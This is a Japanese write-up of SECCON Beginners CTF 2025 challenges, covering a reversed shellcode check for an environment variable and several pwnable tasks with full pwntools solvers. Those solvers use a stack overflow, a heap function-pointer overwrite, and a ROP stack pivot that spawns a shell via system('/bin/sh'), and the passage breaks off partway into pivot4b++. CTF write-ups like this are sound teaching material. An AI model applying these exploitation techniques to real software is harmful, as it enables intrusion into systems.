 1b9:   eb e8                   jmp    0x1a3
 1bb:   4c 89 c1                mov    rcx,r8
 1be:   49 c7 c0 20 00 00 00    mov    r8,0x20
 1c5:   4d 31 c9                xor    r9,r9
 1c8:   48 c7 44 24 20 00 00    mov    QWORD PTR [rsp+0x20],0x0
 1cf:   00 00
 1d1:   ff d0                   call   rax
 1d3:   48 83 c4 30             add    rsp,0x30
 1d7:   eb 00                   jmp    0x1d9
 1d9:   48 31 c0                xor    rax,rax
 1dc:   48 89 ec                mov    rsp,rbp
 1df:   5d                      pop    rbp
 1e0:   41 59                   pop    r9
 1e2:   41 58                   pop    r8
 1e4:   5f                      pop    rdi
 1e5:   5e                      pop    rsi
 1e6:   5a                      pop    rdx
 1e7:   59                      pop    rcx
 1e8:   5b                      pop    rbx
 1e9:   c3                      ret
 1ea:   00 00                   add    BYTE PTR [rax],al
 1ec:   00 00                   add    BYTE PTR [rax],al
        ...

このバイナリ(sh.bin)をGhidraで逆コンパイルします。

逆コンパイル結果
undefined8 UndefinedFunction_00000000(void)

{
  uint uVar1;
  longlong *plVar2;
  longlong lVar3;
  undefined8 uVar4;
  longlong lVar5;
  int *piVar6;
  ulonglong *puVar7;
  longlong lVar8;
  longlong unaff_GS_OFFSET;
  ulonglong auStack_70 [6];
  
  puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);
  while( true ) {
    if (*(int *)puVar7 == 0) {
      return 0;
    }
    if ((((*(int *)puVar7 == 0x540043) && (*(int *)((longlong)puVar7 + 4) == 0x340046)) &&
        (*(int *)(puVar7 + 1) == 0x3d0042)) && (*(int *)((longlong)puVar7 + 0xc) == 0x31)) break;
    puVar7 = (ulonglong *)((longlong)puVar7 + 2);
  }
  plVar2 = (longlong *)
           **(longlong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x18) + 0x20);
  lVar3 = *plVar2;
  auStack_70[4] =
       ((*(ulonglong *)plVar2[10] | 0x20002000200020) ^ *puVar7) * 0x100 +
       **(longlong **)(lVar3 + 0x50) | 0x20002000200020;
  lVar3 = *(longlong *)(lVar3 + 0x20);
  lVar8 = (ulonglong)*(uint *)((ulonglong)*(uint *)(lVar3 + 0x3c) + lVar3 + 0x88) + lVar3;
  auStack_70[2] = 0x2a087d454e564005;
  lVar5 = 0;
  while (((piVar6 = (int *)((ulonglong)
                            *(uint *)((ulonglong)*(uint *)(lVar8 + 0x20) + lVar3 + lVar5 * 4) +
                           lVar3), *piVar6 != 0x53746547 || (piVar6[1] != 0x61486474)) ||
         (piVar6[2] != 0x656c646e))) {
    lVar5 = lVar5 + 1;
  }
  auStack_70[3] = 0x52134041503a405b;
  uVar4 = (*(code *)((ulonglong)
                     *(uint *)((ulonglong)*(uint *)(lVar8 + 0x1c) + lVar3 +
                              CONCAT62((int6)((ulonglong)lVar5 >> 0x10),
                                       *(undefined2 *)
                                        ((ulonglong)*(uint *)(lVar8 + 0x24) + lVar3 + lVar5 * 2)) *
                              4) + lVar3))();
  auStack_70[0] = 0x6b09591014035908;
  lVar5 = 0;
  while (((piVar6 = (int *)((ulonglong)
                            *(uint *)((ulonglong)*(uint *)(lVar8 + 0x20) + lVar3 + lVar5 * 4) +
                           lVar3), *piVar6 != 0x74697257 || (piVar6[1] != 0x6e6f4365)) ||
         (piVar6[2] != 0x656c6f73))) {
    lVar5 = lVar5 + 1;
  }
  auStack_70[1] = 0x681c13044e56721f;
  uVar1 = *(uint *)((ulonglong)*(uint *)(lVar8 + 0x1c) + lVar3 +
                   CONCAT62((int6)((ulonglong)lVar5 >> 0x10),
                            *(undefined2 *)((ulonglong)*(uint *)(lVar8 + 0x24) + lVar3 + lVar5 * 2 ))
                   * 4);
  for (lVar5 = 0; lVar5 != 4; lVar5 = lVar5 + 1) {
    auStack_70[lVar5] = auStack_70[4] ^ auStack_70[lVar5];
  }
  (*(code *)((ulonglong)uVar1 + lVar3))(uVar4,auStack_70,0x20,0,0);
  return 0;
}

冒頭部分の以下の処理を確認します。

puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);
  while( true ) {
    if (*(int *)puVar7 == 0) {
      return 0;
    }
    if ((((*(int *)puVar7 == 0x540043) && (*(int *)((longlong)puVar7 + 4) == 0x340046)) &&
        (*(int *)(puVar7 + 1) == 0x3d0042)) && (*(int *)((longlong)puVar7 + 0xc) == 0x31)) break;
    puVar7 = (ulonglong *)((longlong)puVar7 + 2);
  }

puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);は環境変数へのポインタを取得しています。以下は、x86dbgでpuVar7へ代入された値を確認したところになります。取得した値がRSIレジスタに格納されており、その値が左下のダンプに表示されています。
image.png

その後、puVar7をずらしながら00540043 00340046 003d0042 0031と比較して、等しければ次の処理に進み、そうでなければ終了しています。0054004300340046003d00420031は UTF-16 LE で解釈すると「CTF4B=1」となります。そのため、環境変数として「CTF4B=1」が定義されていれば条件を満たし、フラグが表示されます。

環境変数CTF4B=1を設定して、ps_z.ps1を実行します。

実行結果
PS > echo $env:CTF4B
1
PS > Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
PS > .\ps_z.ps1
ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}

pwnable

pet_name

出題

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

nc pet-name.challenges.beginners.seccon.jp 9080

提供ファイル: chall

提供ファイル: main.c
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    // You don't need to read this because it's just initialization
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;

解法

実行すると名前を聞かれ、入力すると/home/pwn/pet_sound.txtの内容(ここではmeow)が表示されます。

実行例
$ nc pet-name.challenges.beginners.seccon.jp 9080
Your pet name?: aaa
aaa sound: meow

入力の処理がscanf("%s", pet_name);となっているので、バッファオーバーフローの脆弱性があります。
main()関数のローカル変数pet_name[32]path[128]が連続した領域に確保されているため、名前の入力で32文字以上入力した場合、隣接したpathの領域を上書きすることになります。
問題文でフラグが入っているファイルパスが/home/pwn/flag.txtと示されているので、32文字のあとにそのパスを入力するソルバーを作成します。

solver.py
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]

binf = "./chall"
elf = ELF(binf)
context.binary = elf

# p = process(binf)
p = remote("pet-name.challenges.beginners.seccon.jp", 9080)

# gdb.attach(p)
p.sendlineafter(b"?: ", b"a" * 32 + b"/home/pwn/flag.txt")
print(p.recvline())
# p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pet_name/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to pet-name.challenges.beginners.seccon.jp on port 9080: Done
[DEBUG] Received 0x10 bytes:
    b'Your pet name?: '
[DEBUG] Sent 0x33 bytes:
    b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt\n'
[DEBUG] Received 0x53 bytes:
    b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}\n'
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/home/pwn/flag.txt sound: ctf4b{3xp1oit_pet_n4me!}\n'
[*] Closed connection to pet-name.challenges.beginners.seccon.jp port 9080

ctf4b{3xp1oit_pet_n4me!}

pet_sound

出題

ペットに鳴き声を教えましょう。

nc pet-sound.challenges.beginners.seccon.jp 9090

提供ファイル: chall

提供ファイル: main.c
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);

struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

int main() {
    struct Pet *pet_A, *pet_B;

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    puts("--- Pet Hijacking ---");
    puts("Your mission: Make Pet speak the secret FLAG!\n");
    printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);

    pet_A = malloc(sizeof(struct Pet));
    pet_B = malloc(sizeof(struct Pet));

    pet_A->speak = speak_sound;
    strcpy(pet_A->sound, "wan...");
    pet_B->speak = speak_sound;
    strcpy(pet_B->sound, "wan...");

    printf("[*] Pet A is allocated at: %p\n", pet_A);
    printf("[*] Pet B is allocated at: %p\n", pet_B);

    puts("\n[Initial Heap State]");
    visualize_heap(pet_A, pet_B);

    printf("\n");
    printf("Input a new cry for Pet A > ");
    read(0, pet_A->sound, 0x32);

    puts("\n[Heap State After Input]");
    visualize_heap(pet_A, pet_B);

    pet_A->speak(pet_A);
    pet_B->speak(pet_B);

    free(pet_A);
    free(pet_B);
    return 0;
}

void speak_flag(struct Pet *p) {
    char flag[64] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
        return;
    }
    fgets(flag, sizeof(flag), f);
    fclose(f);
    flag[strcspn(flag, "\n")] = '\0';

    puts("\n**********************************************");
    puts("* Pet suddenly starts speaking flag.txt...!? *");
    printf("* Pet: \"%s\" *\n", flag);
    puts("**********************************************");
    exit(0);
}

void speak_sound(struct Pet *p) {
    printf("Pet says: %s\n", p->sound);
}

void visualize_heap(struct Pet *a, struct Pet *b) {
    unsigned long long *ptr = (unsigned long long *)a;
    puts("\n--- Heap Layout Visualization ---");
    for (int i = 0; i < 12; i++, ptr++) {
        printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
        if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
        if (ptr == (unsigned long long *)a->sound)   printf(" <-- pet_A->sound");
        if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
        if (ptr == (unsigned long long *)b->sound)   printf(" <-- pet_B->sound");
        puts("");
    }
    puts("---------------------------------");
}

解法

Pet Aの鳴き声を入力して、それをそのまま表示するプログラムです。内部ではPet Bのデータも存在しており、そのアドレスやヒープ領域の状況など、必要な情報も合わせて表示されるようになっています。
鳴き声を表示する処理は関数ポインタとしてPet構造体が持っています。通常はspeak_sound()関数が設定されているのですが、これをspeak_flag()関数に書き換えるのがゴールとなります。

実行例
$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x64aa2bf27492
[*] Pet A is allocated at: 0x64aa441632a0
[*] Pet B is allocated at: 0x64aa441632d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x000064aa441632a0: 0x000064aa2bf275d2 <-- pet_A->speak
0x000064aa441632a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x000064aa441632b0: 0x0000000000000000
0x000064aa441632b8: 0x0000000000000000
0x000064aa441632c0: 0x0000000000000000
0x000064aa441632c8: 0x0000000000000031
0x000064aa441632d0: 0x000064aa2bf275d2 <-- pet_B->speak (TARGET!)
0x000064aa441632d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064aa441632e0: 0x0000000000000000
0x000064aa441632e8: 0x0000000000000000
0x000064aa441632f0: 0x0000000000000000
0x000064aa441632f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > aaa

[Heap State After Input]

--- Heap Layout Visualization ---
0x000064aa441632a0: 0x000064aa2bf275d2 <-- pet_A->speak
0x000064aa441632a8: 0x00002e2e0a616161 <-- pet_A->sound
0x000064aa441632b0: 0x0000000000000000
0x000064aa441632b8: 0x0000000000000000
0x000064aa441632c0: 0x0000000000000000
0x000064aa441632c8: 0x0000000000000031
0x000064aa441632d0: 0x000064aa2bf275d2 <-- pet_B->speak (TARGET!)
0x000064aa441632d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064aa441632e0: 0x0000000000000000
0x000064aa441632e8: 0x0000000000000000
0x000064aa441632f0: 0x0000000000000000
0x000064aa441632f8: 0x0000000000020d11
---------------------------------
Pet says: aaa
..
Pet says: wan...

ソースコードを確認すると、書き込み先の構造体メンバがchar sound[32]となっており、以下の入力処理は問題なさそうですが、よく見ると書き込みサイズが32バイトではなく0x32(50)バイトになっているので、バッファオーバーフローの脆弱性があります。

 read(0, pet_A->sound, 0x32);

改めて実行時のヒープ領域情報を見ると、pet_A->sound を越えてpet_B->speakを上書きしてspeak_flagのアドレスに書き換え可能です。その直前にある0x31はpet_B領域をmallocしたときの管理情報(サイズ)で、ここを上書きするとその後のメモリ管理に影響するのですが、この問題では特に問題になりません。

solver.py
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]

binf = "./chall"
elf = ELF(binf)
context.binary = elf

# p = process(binf)
p = remote("pet-sound.challenges.beginners.seccon.jp", 9090)

# gdb.attach(p)

p.recvuntil(b" is at: ")
speak_flag_addr = int(p.recvline()[0:-1], 16)
payload = b"a" * 32
payload += b"a" * 8
payload += p64(speak_flag_addr)
p.sendlineafter(b"for Pet A > ", payload)

p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pet_sound/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[+] Opening connection to pet-sound.challenges.beginners.seccon.jp on port 9090: Done
[DEBUG] Received 0x15 bytes:
    b'--- Pet Hijacking ---'
[DEBUG] Received 0x35a bytes:
    b'\n'
    b'Your mission: Make Pet speak the secret FLAG!\n'
    b'\n'
    b"[hint] The secret action 'speak_flag' is at: 0x566dedafb492\n"
    b'[*] Pet A is allocated at: 0x566e2ad072a0\n'
    b'[*] Pet B is allocated at: 0x566e2ad072d0\n'
    b'\n'
    b'[Initial Heap State]\n'
    b'\n'
    b'--- Heap Layout Visualization ---\n'
    b'0x0000566e2ad072a0: 0x0000566dedafb5d2 <-- pet_A->speak\n'
    b'0x0000566e2ad072a8: 0x00002e2e2e6e6177 <-- pet_A->sound\n'
    b'0x0000566e2ad072b0: 0x0000000000000000\n'
    b'0x0000566e2ad072b8: 0x0000000000000000\n'
    b'0x0000566e2ad072c0: 0x0000000000000000\n'
    b'0x0000566e2ad072c8: 0x0000000000000031\n'
    b'0x0000566e2ad072d0: 0x0000566dedafb5d2 <-- pet_B->speak (TARGET!)\n'
    b'0x0000566e2ad072d8: 0x00002e2e2e6e6177 <-- pet_B->sound\n'
    b'0x0000566e2ad072e0: 0x0000000000000000\n'
    b'0x0000566e2ad072e8: 0x0000000000000000\n'
    b'0x0000566e2ad072f0: 0x0000000000000000\n'
    b'0x0000566e2ad072f8: 0x0000000000020d11\n'
    b'---------------------------------\n'
    b'\n'
    b'Input a new cry for Pet A > '
[DEBUG] Sent 0x31 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000020  61 61 61 61  61 61 61 61  92 b4 af ed  6d 56 00 00  │aaaa│aaaa│····│mV··│
    00000030  0a                                                  │·│
    00000031
[*] Switching to interactive mode
[DEBUG] Received 0x370 bytes:
    00000000  0a 5b 48 65  61 70 20 53  74 61 74 65  20 41 66 74  │·[He│ap S│tate│ Aft│
    00000010  65 72 20 49  6e 70 75 74  5d 0a 0a 2d  2d 2d 20 48  │er I│nput│]··-│-- H│
    00000020  65 61 70 20  4c 61 79 6f  75 74 20 56  69 73 75 61  │eap │Layo│ut V│isua│
    00000030  6c 69 7a 61  74 69 6f 6e  20 2d 2d 2d  0a 30 78 30  │liza│tion│ ---│·0x0│
    00000040  30 30 30 35  36 36 65 32  61 64 30 37  32 61 30 3a  │0005│66e2│ad07│2a0:│
    00000050  20 30 78 30  30 30 30 35  36 36 64 65  64 61 66 62  │ 0x0│0005│66de│dafb│
    00000060  35 64 32 20  3c 2d 2d 20  70 65 74 5f  41 2d 3e 73  │5d2 │<-- │pet_│A->s│
    00000070  70 65 61 6b  0a 30 78 30  30 30 30 35  36 36 65 32  │peak│·0x0│0005│66e2│
    00000080  61 64 30 37  32 61 38 3a  20 30 78 36  31 36 31 36  │ad07│2a8:│ 0x6│1616│
    00000090  31 36 31 36  31 36 31 36  31 36 31 20  3c 2d 2d 20  │1616│1616│161 │<-- │
    000000a0  70 65 74 5f  41 2d 3e 73  6f 75 6e 64  0a 30 78 30  │pet_│A->s│ound│·0x0│
    000000b0  30 30 30 35  36 36 65 32  61 64 30 37  32 62 30 3a  │0005│66e2│ad07│2b0:│
    000000c0  20 30 78 36  31 36 31 36  31 36 31 36  31 36 31 36  │ 0x6│1616│1616│1616│
    000000d0  31 36 31 0a  30 78 30 30  30 30 35 36  36 65 32 61  │161·│0x00│0056│6e2a│
    000000e0  64 30 37 32  62 38 3a 20  30 78 36 31  36 31 36 31  │d072│b8: │0x61│6161│
    000000f0  36 31 36 31  36 31 36 31  36 31 0a 30  78 30 30 30  │6161│6161│61·0│x000│
    00000100  30 35 36 36  65 32 61 64  30 37 32 63  30 3a 20 30  │0566│e2ad│072c│0: 0│
    00000110  78 36 31 36  31 36 31 36  31 36 31 36  31 36 31 36  │x616│1616│1616│1616│
    00000120  31 0a 30 78  30 30 30 30  35 36 36 65  32 61 64 30  │1·0x│0000│566e│2ad0│
    00000130  37 32 63 38  3a 20 30 78  36 31 36 31  36 31 36 31  │72c8│: 0x│6161│6161│
    00000140  36 31 36 31  36 31 36 31  0a 30 78 30  30 30 30 35  │6161│6161│·0x0│0005│
    00000150  36 36 65 32  61 64 30 37  32 64 30 3a  20 30 78 30  │66e2│ad07│2d0:│ 0x0│
    00000160  30 30 30 35  36 36 64 65  64 61 66 62  34 39 32 20  │0005│66de│dafb│492 │
    00000170  3c 2d 2d 20  70 65 74 5f  42 2d 3e 73  70 65 61 6b  │<-- │pet_│B->s│peak│
    00000180  20 28 54 41  52 47 45 54  21 29 0a 30  78 30 30 30  │ (TA│RGET│!)·0│x000│
    00000190  30 35 36 36  65 32 61 64  30 37 32 64  38 3a 20 30  │0566│e2ad│072d│8: 0│
    000001a0  78 30 30 30  30 32 65 32  65 32 65 36  65 36 31 30  │x000│02e2│e2e6│e610│
    000001b0  61 20 3c 2d  2d 20 70 65  74 5f 42 2d  3e 73 6f 75  │a <-│- pe│t_B-│>sou│
    000001c0  6e 64 0a 30  78 30 30 30  30 35 36 36  65 32 61 64  │nd·0│x000│0566│e2ad│
    000001d0  30 37 32 65  30 3a 20 30  78 30 30 30  30 30 30 30  │072e│0: 0│x000│0000│
    000001e0  30 30 30 30  30 30 30 30  30 0a 30 78  30 30 30 30  │0000│0000│0·0x│0000│
    000001f0  35 36 36 65  32 61 64 30  37 32 65 38  3a 20 30 78  │566e│2ad0│72e8│: 0x│
    00000200  30 30 30 30  30 30 30 30  30 30 30 30  30 30 30 30  │0000│0000│0000│0000│
    00000210  0a 30 78 30  30 30 30 35  36 36 65 32  61 64 30 37  │·0x0│0005│66e2│ad07│
    00000220  32 66 30 3a  20 30 78 30  30 30 30 30  30 30 30 30  │2f0:│ 0x0│0000│0000│
    00000230  30 30 30 30  30 30 30 0a  30 78 30 30  30 30 35 36  │0000│000·│0x00│0056│
    00000240  36 65 32 61  64 30 37 32  66 38 3a 20  30 78 30 30  │6e2a│d072│f8: │0x00│
    00000250  30 30 30 30  30 30 30 30  30 32 30 64  31 31 0a 2d  │0000│0000│020d│11·-│
    00000260  2d 2d 2d 2d  2d 2d 2d 2d  2d 2d 2d 2d  2d 2d 2d 2d  │----│----│----│----│
    *
    00000280  0a 50 65 74  20 73 61 79  73 3a 20 61  61 61 61 61  │·Pet│ say│s: a│aaaa│
    00000290  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    000002b0  61 61 61 92  b4 af ed 6d  56 0a 0a 2a  2a 2a 2a 2a  │aaa·│···m│V··*│****│
    000002c0  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │****│****│****│****│
    *
    000002e0  2a 2a 2a 2a  2a 2a 2a 2a  2a 0a 2a 20  50 65 74 20  │****│****│*·* │Pet │
    000002f0  73 75 64 64  65 6e 6c 79  20 73 74 61  72 74 73 20  │sudd│enly│ sta│rts │
    00000300  73 70 65 61  6b 69 6e 67  20 66 6c 61  67 2e 74 78  │spea│king│ fla│g.tx│
    00000310  74 2e 2e 2e  21 3f 20 2a  0a 2a 20 50  65 74 3a 20  │t...│!? *│·* P│et: │
    00000320  22 63 74 66  34 62 7b 79  30 75 5f 65  78 70 6c 30  │"ctf│4b{y│0u_e│xpl0│
    00000330  69 74 5f 30  76 33 72 66  6c 30 77 21  7d 22 20 2a  │it_0│v3rf│l0w!│}" *│
    00000340  0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │·***│****│****│****│
    00000350  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │****│****│****│****│
    00000360  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 0a  │****│****│****│***·│
    00000370

[Heap State After Input]

--- Heap Layout Visualization ---
0x0000566e2ad072a0: 0x0000566dedafb5d2 <-- pet_A->speak
0x0000566e2ad072a8: 0x6161616161616161 <-- pet_A->sound
0x0000566e2ad072b0: 0x6161616161616161
0x0000566e2ad072b8: 0x6161616161616161
0x0000566e2ad072c0: 0x6161616161616161
0x0000566e2ad072c8: 0x6161616161616161
0x0000566e2ad072d0: 0x0000566dedafb492 <-- pet_B->speak (TARGET!)
0x0000566e2ad072d8: 0x00002e2e2e6e610a <-- pet_B->sound
0x0000566e2ad072e0: 0x0000000000000000
0x0000566e2ad072e8: 0x0000000000000000
0x0000566e2ad072f0: 0x0000000000000000
0x0000566e2ad072f8: 0x0000000000020d11
---------------------------------
Pet says: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x92\xb4\xaf\xedmV

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************
[*] Got EOF while reading in interactive

ctf4b{y0u_expl0it_0v3rfl0w!}

pivot4b

出題

スタックはあなたが創り出すものです。

nc pivot4b.challenges.beginners.seccon.jp 12300

提供ファイル: chall

提供ファイル: src.c
src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gift_set_first_arg() {
        asm volatile("pop %rdi");
        asm volatile("ret");
}

void gift_call_system() {
        system("echo \"Here's your gift!\"");
}

int main() {
        char message[0x30];

        printf("Welcome to the pivot game!\n");
        printf("Here's the pointer to message: %p\n", message);

        printf("> ");
        read(0, message, sizeof(message) + 0x10);

        printf("Message: %s\n", message);

        return 0;
}


__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

解法

問題のタイトルからも想像できますが、スタックピボットを使う問題です。
実行すると、message変数のアドレスが表示されます。

実行例
$ nc pivot4b.challenges.beginners.seccon.jp 12300
Welcome to the pivot game!
Here's the pointer to message: 0x7ffe2369c910
> foo
Message: foo

入力処理を見ると、はっきりと0x10(16バイト)オーバーフローすることが分かります。これにより、隣接したSaved RBP とリターンアドレスを上書き可能です。

        read(0, message, sizeof(message) + 0x10);

また、何もしないgift_set_first_arg()が定義されており、ここに必要なガジェットが入っています。

方針としては、以下になります。

  1. message バッファのアドレスをROPチェーンの格納先にする
    バイナリが出力する message: 0x... を受け取り、そこにROPを仕込むためのベースアドレスとして利用
  2. ROPチェーン+ピボット準備を含むペイロードを read() のオーバーフローで書き込む
    system("/bin/sh") 呼び出し用のROPを message に書き込みつつ、leave; ret を使った スタックピボットの設定も含める
  3. leave; ret を実行させて、message にピボットされたスタックからROPを起動
    rsp が message に切り替わり、ROPチェーンが実行 → シェル獲得

上記1.実施後は以下のような状態になります。

image.png

これによってreturn先に指定されたleave; ret命令が実行されてることにより、スタックがmessageに移動し、書き込まれているROPチェーンによってsystem("/bin/sh")が実行されます。

solver.py
from pwn import *

context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h", "-F" "#{pane_pid}", "-P"]

binf = "./chall"
elf = ELF(binf)
context.binary = elf

# p = process(binf)
p = remote("pivot4b.challenges.beginners.seccon.jp", 12300)

# gdb.attach(p)

rop = ROP(elf)
pop_rdi_gadget = rop.find_gadget(["pop rdi", "ret"]).address
leave_gadget = rop.find_gadget(["leave", "ret"]).address

p.recvuntil(b"message: ")
message_addr = int(p.recvline()[0:-1], 16)

payload = p64(pop_rdi_gadget)
payload += p64(message_addr + 0x18)
payload += p64(elf.symbols["system"])
payload += b"/bin/sh\x00"
payload += b"a" * 0x8 * 2
payload += p64(message_addr - 0x8)
payload += p64(leave_gadget)

p.sendlineafter(b"> ", payload)
p.interactive()
実行結果
$ python3 solver.py
[*] '/home/naoki/SECCON_Beginners_CTF_2025/pivot4b/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] Opening connection to pivot4b.challenges.beginners.seccon.jp on port 12300: Done
[*] Loaded 6 cached gadgets for './chall'
[DEBUG] Received 0x4b bytes:
    b'Welcome to the pivot game!\n'
    b"Here's the pointer to message: 0x7ffd6db58bc0\n"
    b'> '
[DEBUG] Sent 0x41 bytes:
    00000000  7a 11 40 00  00 00 00 00  d8 8b b5 6d  fd 7f 00 00  │z·@·│····│···m│····│
    00000010  40 10 40 00  00 00 00 00  2f 62 69 6e  2f 73 68 00  │@·@·│····│/bin│/sh·│
    00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000030  b8 8b b5 6d  fd 7f 00 00  11 12 40 00  00 00 00 00  │···m│····│··@·│····│
    00000040  0a                                                  │·│
    00000041
[*] Switching to interactive mode
[DEBUG] Received 0xd bytes:
    00000000  4d 65 73 73  61 67 65 3a  20 7a 11 40  0a           │Mess│age:│ z·@│·│
    0000000d
Message: z\x11@
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2e bytes:
    b'flag-bce7759151aa98ff2e61358f578ec2eb.txt\n'
    b'run\n'
flag-bce7759151aa98ff2e61358f578ec2eb.txt
run
$ cat flag-bce7759151aa98ff2e61358f578ec2eb.txt
[DEBUG] Sent 0x2e bytes:
    b'cat flag-bce7759151aa98ff2e61358f578ec2eb.txt\n'
[DEBUG] Received 0x2a bytes:
    b'ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}\n'
ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}
$

ctf4b{7h3_57ack_c4n_b3_wh3r3v3r_y0u_l1k3}

pivot4b++

出題

pivot4bからGiftがなくなってしまいました...

nc pivot4b-2.challenges.beginners.seccon.jp 12300

提供ファイル: chall
提供ファイル: libc.so.6

提供ファイル: src.c
src.c
#include <stdio.h>
#include <unistd.h>

int vuln() {
        char message[0x30];

        printf("Welcome to the second pivot game!\n");

        printf("> ");
        read(0, message, sizeof(message) + 0x10);

        printf("Message: %s\n", message);

        return 0;
}

int main() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        alarm(120);

        vuln();
}

解法

実行例
$ nc pivot4b-2.challenges.beginners.seccon.jp 12300
Welcome to the second pivot game!
> aaa
Message: aaa
q

ポイントは以下の通りです。

  • messageは0x30バイトなのに、readで0x40バイト(0x10バイトオーバー)読み込み可能
    → 隣接したSaved RBP とリターンアドレスを上書き可能
  • printf("Message: %s", message)あり
    → アドレスリーク可能
  • vuln()は何度も呼び出せるような設計にされている(戻って再度read実行可能)

処理の流れは次のようになります。

  1. オーバーフローさせて書き込み、リターンアドレスの下位1バイトを書き換えて再度vuln()を呼び出しつつ、PIEベースのアドレスをリークさせる
  2. 2回目のvuln()にて、RBPを.bssセグメントに設定しつつ、リターンアドレスを書き換えて再度vuln()のprintf()にジャンプし、libcのアドレスをリークさせる
  3. 3回目の入力を求められるので、.bssセグメントにsystem("/bin/sh")を実行するROPチェーンを書き込み、スタックピボットにてスタックを.bssセグメントに移動させたあと、ROPを実行する

1回目: リターンアドレス下位1バイト書き換え+PIEベースアドレスリーク

main()処理は以下のようになっており、通常vuln()終了後は0x010122bにリターンしますが、オーバーフローにてリターンアドレスの下位1バイトを0x26に変更することにより、再度vuln()関数を実行できます。(challバイナリがPIE enabledなので、アドレスが不定となり任意のリターンアドレスを指定できず、現状のアドレスをオフセットさせることしかできません)
また、このときprintf()処理にてリターンアドレスまで表示することができるので、PIEベースのアドレスがわかります。
image.png

payload = b"a" * 0x8 * 7
payload += b"\x26"
p.sendafter(b"> ", payload)
